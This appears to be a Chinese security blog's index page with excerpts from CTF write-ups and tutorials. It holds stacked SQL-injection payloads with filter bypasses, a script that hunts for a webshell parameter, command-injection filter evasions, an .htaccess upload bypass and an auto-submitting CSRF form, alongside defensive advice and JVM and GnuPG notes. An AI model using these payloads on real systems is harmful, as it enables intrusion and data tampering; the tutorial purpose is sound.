0%

这篇文章被加密了,请输入密码查看
阅读全文 »

随便注

打开就一个输入框,然后有一个提交,再根据上面的提示,首先先按照默认的1,看看会是什么结果。

1
2
3
4
5
6
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

是一个数组,第一个是字符串"1",第二个是字符串"hahahah"

加个单引号试试看,发现有个数据库的报错信息出来:error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1,简单看一下基本能够确认就是单引号闭合。然后可以看到这里是明显会回显给你错误的信息的,所以只需要报错注入一下就行了。

使用报错注入来尝试获取数据库的名字:1' and updatexml(null,concat(0x3a,(select database())),null) %23 or '1'='1,并没有直接得到数据库的名字,而是得到了return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

从这里可以看到,有一些关键字和.会被过滤掉,那可以试试看利用堆叠注入。

堆叠注入payload:1';show databases; # 这样就把所有的数据库给爆出来了。

同样的方法显示一下所有的表格1';show tables; #,发现有一张全是数字的表格和一张叫words的表格,并不知道目标在哪里,所以对两个表格都查看一下它们的列:

  • 1';show columns from words; #
  • 1'; show columns from `1919810931114514`; #

在得到words表格内容的时候很顺利,但是在获取表名全是数字的这个表的时候遇到了很大的问题,一直得不到结果。自己尝试了单引号和双引号都没结果,后来问了同学才知道表名/库名/函数名需要用反引号括起来才行。

看了一眼发现flag果然在这个全是数字的表里面,那么问题来了,怎么样才能获取到呢?联合注入似乎是不行的,因为把select.给完全过滤掉了,而且还把一些常用的数据操作过滤了,但是!!还剩下了alterrename没有过滤,所以可以使用改名和改数据。

payload:1';RENAME TABLE `words` TO `whatever`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` ADD COLUMN id INT(11);#

当然上面也可以把id改成data,因为iddata都能显示出来。

其他的方法:

如果能够使用select flag from `1919810931114514` 就可以直接从表格里获取到flag了,但是因为有了过滤机制,所以不行,下面介绍一种方法来对付这种过滤方法。

为了防止sql注入,最好的方法是使用预编译,而mysql提供了这一方法,所以我们可以使用:

1
2
3
set @sql=concat('sel','ect * from `1919810931114514`');
prepare presql from @sql;
execute presql;

但是如果直接用这个方法,会出提示信息:strstr($inject, "set") && strstr($inject, "prepare"),也就是说这题其实猜到了你会使用预编译来绕过,但是!!仅仅过滤了小写,然而mysql对大小写不敏感,所以只需要大小写替换一下就可以得到flag了。

高明的黑客

打开网站是这么一句话:我也是很佩服你们公司的开发,特地备份了网站源码到www.tar.gz以供大家观赏,这里提示源码已经被放到了根目录下,所以第一步首先先去下载下来,然后解压缩康康。

emmmm解压缩完发现是3002个php文件,而且文件名都怪怪的,随便打开一个看看哦:

1
2
3
4
5
6
7
8
9
10
11
<?php
$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');
$_GET['tz2aE_IWb'] = ' ';
echo `{$_GET['tz2aE_IWb']}`;
$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;

function ZwXq7h4()
# 下面省略
?>

基本上每个都是这样的,显然不是给人看的。然后稍微看看发现里面就是一堆GET和POST还有运行系统命令的system,所以应该是从这3K个PHP文件中找到黑客真正使用的那个带的shell吧?

显然用人工的方法是不可能的,所以用Python写脚本,然后使用正则表达式找到所有符合条件的,最好再使用多线程技术来加速寻找。

以下是简单的一个单线程脚本,大概用了20分钟在本地搭建的环境中跑完,贴出来仅供参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import os
import re
import requests

path = "/var/www/html/src/"

url = "http://127.0.0.1/src/"

filenames = os.listdir(path)

# 这里的正则我觉得有点难以理解,因为它可以匹配$_GES
# 简单分析一下,第一个斜杠转义了后面的$,然后是一个下划线,然后是3-4个字母,这些字母必须是[GETPOS]这六个中的
# 然后是一个[],中括号里的内容可以是任意的
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")

for name in filenames:
print(name)
with open(path + name, 'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))

for ret in result:
# ret形如 $_POST['qWsBpr5hwDbcUo']
try:
# 测试一下运行uname会不会出现linux字样
command = 'uname'
flag = 'Linux'
if 'GET' in ret:
# 找到括号内的任何内容
passwd = re.findall(r"'(.*)'", ret)[0]
r = requests.get(url=url + name + '?' + passwd + '=' + command)
if r.status_code != requests.codes.ok:
print("can not read the file " + r.status_code)
elif flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'", ret)[0]
r = requests.post(url=url + name, data={passwd: command})
if r.status_code != requests.codes.ok:
print("can not read the file " + r.status_code)
elif flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except:
pass

最后的结果是:

1
2
backdoor file is: xk0SzyKwfzw.php
GET: Efa5BVG

然后执行一下cat /flag即可。至于为什么flag会在根目录下,这是一个约定俗成的规定,一般会放在www上级目录/flag,因为没必要花时间在找flag在哪里上。

Upload

登入之后发现是一个注册/登陆页面,首先注册一个账号,然后登录试试看。登录成功之后就可以看到能够上传图片,那就上传看看?

随便选了一张图片(.png)交上去,发现能成功上传…

成因

简单来说就是服务器上的应用程序有的时候需要去使用shell提供的命令(比如利用mv移动一个文件之类的),当这个应用程序把用户提供的数据交给shell的时候,就有可能发生命令注入。

常见语言执行系统命令

这里简单总结了java、PHP和Python这几种语言执行系统命令的代码。

java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.IOException;

public class RunSystemCommand {
public static void main(String[] args) {
ProcessBuilder pb = new ProcessBuilder("touch", "/root/javaRuncommand");
Process p;
{
try {
p = pb.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}

这里需要注意的是,如果希望能够显示结果,需要把输出重定向一下。

python

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import os
import subprocess

# os.system("ping www.baidu.com")

# os.popen("touch /root/python")

subprocess.Popen("date")

这里只推荐subprocess包下的程序了,其他的并不推荐使用。

php

1
2
3
4
5
6
<?php
# echo exec("ipconfig");
# echo system("ipconfig");
# echo shell_exec("ipconfig");
passthru("ipconfig");
?>

常见注入方法

在理解注入方法之前,首先需要理解shell中的一些操作,比如&&表示前面的一条命令成功执行就执行后面一条命令等,这些基础操作在这里不再赘述。基于这些bash的操作,就有了一些常见的方法:

  • 利用分号来执行多个命令
  • 利用&&||来进行分割
  • 利用管道符|

常见绕过方法

一般来说上面的注入方法是无法得逞的,因为类似分号和&这种符号肯定会被过滤掉的,这个时候就需要用一些小技巧来绕过,以下的绕过方法均以执行ls为例。

  • 利用环境变量巧妙执行:env1=l;env2=s;$env1$env2,相当于拼接出了ls
  • 利用bash通配符(注意通配符可能会出现多种符合的情况)/?in/?s会提示你到底是/bin/ls还是/bin/ss
  • 利用一些编码绕过,比如lsbase64编码是bHM=,那么就可以用$(echo "bHM=" | base64 -d)来执行ls

防御手段

  • 根本解决之道:不要使用系统命令。这是因为绝大部分的功能都可以通过那些第三方的库完成而不需要使用这些shell函数。
  • 如果实在无法避免使用shell函数,那么就避免将外界输入的字符传入进去
  • 如果连外界字符传入都无法避免,那么就使用函数对输入进行检查,尤其需要转义掉shell的元字符#&;\,|*?~<>^()[]{}$

前言

文件上传漏洞易于理解,且一旦成功破坏性极大,所以平时中用的会比较多,但是相对地,技巧也很多。

常见检测手法

  • 前端使用JavaScript进行检测
  • Content-Type检测
  • 文件内容头检测
  • 扩展名检测
  • 黑白名单检测
  • 自己写的正则表达式检测
  • WAF辅助检测

前端使用JavaScript检测

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == "") {
alert("你还没有选择任何文件,不能上传!");
return false;
}
var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>

绕过姿势:直接删除这段代码或者使用burp等工具抓包进行提交

Content-Type检测

也被称为服务端MIME类型检测,在服务器端常见的验证代码有:

1
2
3
4
5
6
7
8
9
<?php
if($_FILE['userfile']['type'] != "image/gif"){
echo "sorry,we only allow uploading GIF images";
exit;
}
else{
echo "Upload success!";
}
?>

绕过姿势:抓包工具直接修改即可。

文件内容头检测

首先先来看看各种文件类型的文件头十六进制的内容吧

JPG

1575354185190

PNG

1575354116028

GIF

1575353783714

BMP

1575353822779

更多文件头可详见维基百科,如果想要绕过只需要在前面加上这些特征符即可。

文件扩展名检测

比如只允许.jpg扩展名的文件上传,参考代码见下:

1
2
3
4
5
6
7
8
9
10
<?php
$type = array("jpg");
$fileext = fileext($_FILE['file']['name']);
if(!in_array($fileext,$type)){
echo "upload success!";
}
else{
echo "sorry,can't upload!";
}
?>

如果后台所用服务器为Apache,可以考虑上传一个.htaccess文件,该文件默认情况下是不存在于Apache中的,但是默认是启用的,所以我们可以通过上传这个文件来绕过上面的验证并且上传一个webshell,这个文件在实际中还是不要使用的好,一来是为了安全,二来是这东西性能也不好。

具体步骤:

新建一个文件取名为.htaccess,在其中写入:

1
AddType application/x-httpd-php .jpg

然后将其上传至服务器,如果成功,那么之后你上传的任何.jpg文件都会被当成PHP文件来执行。

其他的文件上传问题

除了上面的在实际中遇到最多的问题,还有一些其他的文件上传存在的问题,因为比较简单,所以统一放到了这里进行阐述。

  1. DoS攻击。因为文件上传会消耗服务器的带宽,所以只需要连续上传超大体积的文件,就会导致此问题的发生。当然防范这种问题也很容易,只需要修改php.ini文件中的相关属性即可。

简介

跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

简单来说,就是我仅仅想让浏览器执行任务A,但是浏览器不仅仅执行了A,还去执行了B,就说明发生了CSRF攻击。很多人会把CSRF和XSS两者混为一谈,XSS的本质是网页有问题,导致了可能会把输入当成代码返回给用户,进而导致浏览器去执行代码;而CSRF是在URL上面做文章。

XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任

简单示例

示例1

假设银行转账是通过GET方法直接在url中转账的(当然现实中不可能),A想要转给B一千元,只需要如下的URL即可实现:http://bank.com/transfer.php?by=A&to=B&money=1000,当然银行会首先要求你登陆,发给你一个cookie,当你同时携带着cookie和这个url的时候才会让转账生效。现在假设你已经成功登陆了银行,也就是已经获得了cookie,此时你去访问一个危险网站,这个网站有一段html的代码:<img src=http://bank.com/transfer.php?by=A&to=C&money=1000>,这样如果你是A,那么你就会自动转账1000块钱给C。

示例2

银行觉得这么做实在又蠢又危险,于是决定不用GET而使用POST了。具体代码:

1
2
3
4
5
<form action="transfer.php" method="POST">
  <p> to <input type="text" name="to" /></p>
  <p> money <input type="text" name="money" /></p>
  <p> <input type="submit" value="transfer" /></p>
</form>

这样是不是就能高枕无忧了呢?显然不是的,但是确实如果只使用一个<img>标签是无法得手了,但是可以使用JavaScript来进行编写,照样可以达到一样的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script type="text/javascript">
function bad() {
iframe = document.frames["bad"];
iframe.document.Submit("transfer");
}
</script>

<body onload="bad()">
<iframe name="bad" display="none">
<form method="POST" name="transfer"  action="http://bank.com/transfer.php">
<input type="hidden" name="to" value="C">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>

用JS写了一个bad函数,然后当HTML被加载的时候会使用这个JS函数,而且精心设置了不可见,会自动往目标网站发送POST数据,达成一样的效果。

攻击分类

网上似乎没有对此进行权威的分类,所以我这里只是根据自己的理解给出我的分类。

基于GET方法的攻击

示例1就是这类攻击的典型例子。原因就是一些HTML的标签,包括但是不限于<img> <video>等标签能够允许浏览器去访问指定内容。只要攻击者能够控制这些标签(比如你去访问攻击者的网页),那么就能够发生攻击。

值得一提的是,攻击者并不能够获取到你的cookie,他只是利用了你的cookie

基于POST方法的攻击

示例2就是这种攻击的典型例子,虽然使用了POST方法可以避免第一种攻击,但是攻击者仍然可以构造一个表单,利用JavaScript来进行攻击。原理几乎与GET一致,换汤不换药。有一点需要注意的是,一般会使用不可见的iframe来完成攻击,但是由于有同源策略的保护,所以攻击者通过iframe是无法读取到你真实的内容的,也就是CSRF攻击并不会泄露你的信息(但是攻击者可以修改你的密码,然后登录你的账号来获取你的信息)这点算是不幸中的万幸吧。

防御手段

解决的原则就是:确认确实是用户本人确实想要进行的操作。与此同时,还有很多页面根本就不需要进行CSRF防御,比如仅仅一个展示的页面,压根就没有这个漏洞,也没有这个需求。

以下是三大主要措施:

  • 使用Token。这个防御手段的思想是,使用攻击者无法得知的信息来进行确认。你在正规页面进行的操作,会使用一个token,然后比如你需要修改你的密码,那么网站会问你索要这个token并进行比对(浏览器自动完成,不需要你真的去验证),而如果是你在访问攻击者的网站,它想让你去修改你的密码,但是它无法提供这个token,自然就无法改密了。
  • 当用户执行关键操作的时候,让用户在输入一次密码。因为之前提到CSRF只能利用你的身份,但是它对于你的密码之类一概不知,所以只需要在进行关键操作的时候让用户在输入一次密码,就能轻易解决这个问题了。
  • 验证Referer信息,用户正常请求的referer是正常网页的URL,而非正常请求的referer则是恶意网站的URL。

以下是辅助性的建议措施:

  • 每次用户执行完关键操作(改密之类的),向用户的电子邮箱发送邮件通知用户。
  • 尽量不要使用GET方法
  • 控制cookie的域(这点存疑)

翻译原文地址:https://docs.oracle.com/javase/8/docs/technotes/tools/findingclasses.html

Java启动器是如何找到类的?

在命令行输入java,其实是启动一个java启动器,它会初始化java虚拟机,然后按照下面的顺序来对类进行加载:

  1. Bootstrap classes,这些类是组成Java必不可少的,它包括rt.jar包和几个重要的jar包中的类。
  2. Extension classes,使用java扩展机制的类,这些类会被打包成jar文件并且被放置在一个扩展目录中。
  3. User classes,由开发人员或者第三方提供的、且不使用扩展机制的类。如果你要使用这些类,你需要在CLASSPATH环境变量中指明或者使用-classpath指明。

注:什么是java的扩展机制(Extension Mechanism)?简单来说就是对java核心API的扩展。在使用java的时候你可以不用指定这些类的classpath但是使用它们。更多信息可以参考这里

实际上,上面的三个路径会被合成一个简单的路径,但是有一些差异:

  • 你很难删除或者隐藏Bootstrap classes。
  • 你只需要确定你的User classes所在的路径即可,Bootstrap classes和Extension classes的路径是“自动”确定的。
  • tool classes只有在被包含在jar包中且仅仅在声明了user classpath之后才可以使用。
阅读全文 »

本博文对应《深入理解Java虚拟机》第三章的第一部分。

垃圾回收对于java来说,是时时刻刻都在运行的重要机制,因为有了它,程序员才不需要去管理内存。我觉得在垃圾回收这里,有几个问题必须要解决一下:

  1. 什么时候回收内存?很简单的想法:空闲的时候回收。
  2. 什么样的内存需要被回收?当然是不会再被别人使用的内存啦。
  3. 怎么回收呢?这里我个人觉得是维护一张表格,这个表格记录着可以使用的内存,当你回收的时候就相当于把那块内存打上标记而已。

显然,对于那些线程独享的空间(虚拟机栈、方法栈和程序计数器),当这个线程结束的时候,这些内存空间也没有必要保留了,所以对于这些空间的处理是非常容易的。但是堆中的就不一样了,只有在程序运行起来之后,我们才能知道会有哪些对象在使用堆内存。

阅读全文 »

以下内容主要源自《深入理解java虚拟机》一书的第二章

虚拟机的内存区域

一共有五个区域,其中两个是被所有的线程所共享的(因为JVM本身就是一个进程,所以运行在它上面的所有的java程序自然都是线程了)

1574476009874

稍微说明以下这个图。

第一行,说明了这是一个java的内存模型。

第二行,java内存主要由三部分组成,堆、方法区(也被称为永久代)以及每个线程的独有空间。

第三行,它只是把堆分成了两个,分别是新生代和老年代。

第四行,最后新生代又分成三个,Eden 空间、From Survivor 空间(s0)、To Survivor 空间(s1)。

阅读全文 »

环境搭建

我用的是docker搭建的,非常方便一句话完成:docker run -dt --rm --name sqli-lab -p 80 acgpiano/sqli-labs:latest,之后只需要查看本地端口映射就可以了:docker container ls

开始之前需要了解的基础知识

  • php一些基础函数,比如字符串拼接这种基础还是得知道的吧
  • mysql的基础操作,你要是连select * from tables这种都不了解,别看了
  • 能够直接出现在url中的符号:所有大小写的字母、10个数字、;/?:@&=+$,
阅读全文 »

什么是GnuPG

引用自官网的一句话:

GnuPG is a complete and free implementation of the OpenPGP standard as defined by RFC4880 (also known as PGP).

简单来说,你可以把它理解成linux下的一款基于公私钥体系、免费且功能强大的加解密、签名的软件。

加密原理

首先需要理解的一点是,如果你直接使用RSA这种公私钥加密机制来对整个文件进行加密,速度会非常非常非常慢,所以实际中使用的是,随机生成一串字符串,然后利用这个字符串来对文件进行对称加密(对称加密的速度远远快于公私钥加密),然后再用公钥对这个随机的字符串进行加密(因为这个随机的字符串相比你要加密的东西小的多),最后再把这个加密完的随机字符串和密文放在一起组成加密之后的文件。

阅读全文 »